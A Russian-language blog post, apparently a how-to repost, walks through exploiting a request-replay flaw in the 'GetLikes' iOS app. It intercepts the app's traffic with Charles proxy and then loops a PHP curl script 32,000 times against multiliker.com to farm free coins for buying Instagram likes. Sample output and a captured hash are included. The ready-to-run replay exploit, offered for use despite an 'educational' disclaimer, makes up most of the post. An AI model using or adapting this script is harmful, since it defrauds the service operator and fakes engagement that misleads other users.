в Hack

Данный пост является повторением действий, описанных хабраюзером jo1n в его посте на хабре

Дисклеймер: Все действия носят сугубо познавательный характер. Более того — «накручивать лайки» — дело лишенное какого-либо смысла, всё рассмотренное ниже стоит рассматривать только как познавательный материал

Для того, чтоб «накрутить лайки» мы будем использовать одну уязвимость, найденную тов. jo1n в приложении «GetLikes» для iOS, которая позволяет получать «монеты» в одноименном приложении без выполнения каких-либо действий (таких как установка «лайков» другим участникам приложения), и в последствии тратить их на то, чтоб нам к нашим фотографиям ставили массово эти самые «лайки».

Рассмотрим весь процесс в виде нескольких этапов.

Подготовка

Для выполнения поставленной задачи нам потребуются:

  1. iPhone, на который есть возможность устанавливать приложения и изменять настройки сетевого подключения;
  2. Компьютер под управлением Windows (Linux / Mac OS);
  3. Подключение обоих устройств к одной WiFi точке;
  4. Подключение к сети интернет;

На компьютер скачиваем и устанавливаем Сharles — прокси-сервер для отладки web-приложений. После установки — запускаем (не забываем разрешить доступ приложению к сети в настройках брандмауэра / межсетевого экрана), и проверяем настройки порта и наличия статуса в правом нижнем углу «Recording»:

Настройка

После этого — переходим к настройке iPhone на работу через наш прокси сервер. Для этого смотрим какой у нас IP присвоен компьютеру:

И укажем полученные нами настройки в WiFi подключении iPhohe (НастройкиWi-Fi → тап по (i) напротив активного подключения):

Установка приложения на iPhone

Далее — ставим приложение (поиск в App Store по словам Get likes on Instagram — третий результат) и авторизируемся в нем c помощью учетной записи от Instagram:

Получение запроса, который отправляет приложение

После этого очищаем текущую сессию в Charles, ставим 1 сердце, и смотрим что он нам покажет:

  • hash — наш токен, который обновляется при авторизации в приложении;
  • media — номер изображения, которому мы поставили лайк;
  • answer — ответ от сервера instagram (поставили ли мы лайк или нет?).

Эксплуатация уязвимости

Уязвимость сервиса заключается в том, что этот же самый запрос мы можем выполнить очень много раз, вне зависимости от того — поставили мы «сердце» или же нет — нам будет зачислена 1 «монета». Автоматизируем данный процесс, например, при помощи такого php-скрипта:

<?php

function postData($url, $data){
  $curl = curl_init();
  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($curl, CURLOPT_POST, true);
  curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
  curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 ".
    "like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 ".
    "Mobile/8A293 Safari/6531.22.7");
  $out = curl_exec($curl);
  curl_close($curl);
  return $out;
}

if(!isset($argv[1]) && !isset($argv[2])) {
  die("You must pass *hash* and *media* strings in arguments".PHP_EOL);
} else {
  $hash = $argv[1];
  $media = $argv[2];
  $likes_count = 32000;

  $i = 0;
  while ($i < $likes_count){
    $delay = rand(10, 2000) / 1000;
    $out = json_decode(postData('http://www.multiliker.com/service/like2/', 'hash='.$hash.
                                '&media='.$media.'&answer={"status":"ok"}'), true);
    echo '['.$i.'] '.$out['result'].': '.$out['message'].' (delay '.$delay.')'.PHP_EOL;
    if($out['result'] !== 'success') {
      die('Update *hash* and *media* values'.PHP_EOL);
    }
    $i++;
    sleep($delay);
  }
}

И запускаем его из консоли на нашем дедике (первый параметр - это hash из ответа выше, а второй, соответственно - media):

$ php ./likes_craft.php "a752a54b08158c8fdee279d8fc2fc494013c911c" "1015696816576458399_632650570"
[0] success: Like has been received (delay 0.146)
[1] success: Like has been received (delay 0.592)
[2] success: Like has been received (delay 0.761)
[3] success: Like has been received (delay 1.937)
[4] success: Like has been received (delay 0.088)
[5] success: Like has been received (delay 1.189)
[6] success: Like has been received (delay 0.023)
[7] success: Like has been received (delay 1.557)
...

После чего можем убрать настройки прокси-сервера, оставить скрипт работать в фоне, а в приложении наблюдать как появляются халявные "монеты". Можно теперь их тратить на накрутку сердец :)

Знают ли разработчики о наличии уязвимости? Да, знают. Когда исправят и исправят ли вообще? Не известно.

Update. Хуяюшки, кажись, усё пофиксили. Надо было раньше тебе успевать

Комментирование наглухо закрыто